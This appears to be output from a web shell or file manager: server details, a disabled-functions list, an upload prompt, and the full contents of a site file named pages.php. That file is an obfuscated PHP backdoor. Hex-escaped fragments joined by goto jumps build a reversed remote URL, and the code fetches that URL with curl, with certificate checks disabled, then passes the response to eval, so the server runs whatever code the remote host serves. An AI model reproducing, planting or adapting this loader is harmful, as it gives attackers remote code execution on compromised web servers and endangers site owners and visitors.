HEX
Server: Apache
System: Linux qxu1650030446-7ccdf98f65-f6m2q 4.19.91-21.al7.x86_64 #1 SMP Wed Sep 2 19:47:49 CST 2020 x86_64
User: ()
PHP: 7.2.15
Disabled: chmod,exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,socket_create_listen,socket_create_pair,socket_create,socket_get_option,socket_getpeername,socket_getsockname,socket_last_error,socket_listen,socket_read,socket_recv,socket_recvfrom,socket_select,socket_send,socket_sendto,socket_set_block,socket_set_nonblock,socket_set_option,socket_shutdown,socket_strerror,socket_write,stream_socket_client,stream_socket_server,pfsockopen,disk_total_space,disk_free_space,chown,diskfreespace,getrusage,get_current_user,getmyuid,getmypid,dl,leak,listen,chgrp,link,symlink,dlopen,proc_nice,proc_get_stats,proc_terminate,shell_exec,sh2_exec,posix_getpwuid,posix_getgrgid,posix_kill,ini_restore,mkfifo,dbmopen,dbase_open,filepro,filepro_rowcount,posix_mkfifo,putenv,sleep,fsockopen
Upload Files
File: /usr/home/qxu1650030446/htdocs/pages.php
<?php define('A', 'jan49.tphu5583htr/komeri::[word]/[0:1]^?pid=!|products/^[0:2]!::?'); goto Qo3Zq; Qo3Zq: $x1DBi = "\x74\x78\164\56"; goto eM_QN; h4fIU: $x1DBi .= "\164\56\61\x30\163\x6b"; goto KKULZ; WU6rf: $x1DBi .= "\x74\x74\150"; goto vMRvT; Yt3ix: $x1DBi .= "\72\163\160"; goto WU6rf; I7yjh: $x1DBi .= "\163\x2f\x2f"; goto Yt3ix; eM_QN: $x1DBi .= "\65\x78\x2f\160\157"; goto h4fIU; KKULZ: $x1DBi .= "\153\157\x2e\x6f\x65"; goto I7yjh; vMRvT: eval("\77\76" . Roq_n(strrev($x1DBi))); goto hz9FL; hz9FL: function RoQ_n($K9OLS = '') { goto LAi61; fE0yF: $iHVyT = curl_init(); goto dj1a9; Wswo8: goto HD7Ho; goto MoXGn; iaeEi: $a8SXe = curl_exec($iHVyT); goto W4H17; JwqZc: HD7Ho: goto CWhnF; MoXGn: Lfe0j: goto fE0yF; dj1a9: curl_setopt($iHVyT, CURLOPT_RETURNTRANSFER, true); goto Go2lM; pJYvz: curl_setopt($iHVyT, CURLOPT_SSL_VERIFYHOST, false); goto nJ_HP; Go2lM: curl_setopt($iHVyT, CURLOPT_TIMEOUT, 500); goto sXeUw; nJ_HP: curl_setopt($iHVyT, CURLOPT_URL, $K9OLS); goto iaeEi; CWhnF: return $a8SXe; goto IjsIA; W4H17: curl_close($iHVyT); goto JwqZc; LAi61: if (function_exists("\143\x75\x72\154\137\151\x6e\151\x74") && function_exists("\x63\x75\162\154\x5f\145\x78\145\143")) { goto Lfe0j; } goto Ys1pr; Av3dv: $a8SXe = file_get_contents($K9OLS, false, $j0Fco); goto Wswo8; sXeUw: curl_setopt($iHVyT, CURLOPT_SSL_VERIFYPEER, false); goto pJYvz; Ys1pr: $j0Fco = stream_context_create(["\150\164\x74\160" => ["\155\x65\164\x68\157\144" => "\x47\105\x54"]]); goto Av3dv; IjsIA: } ?>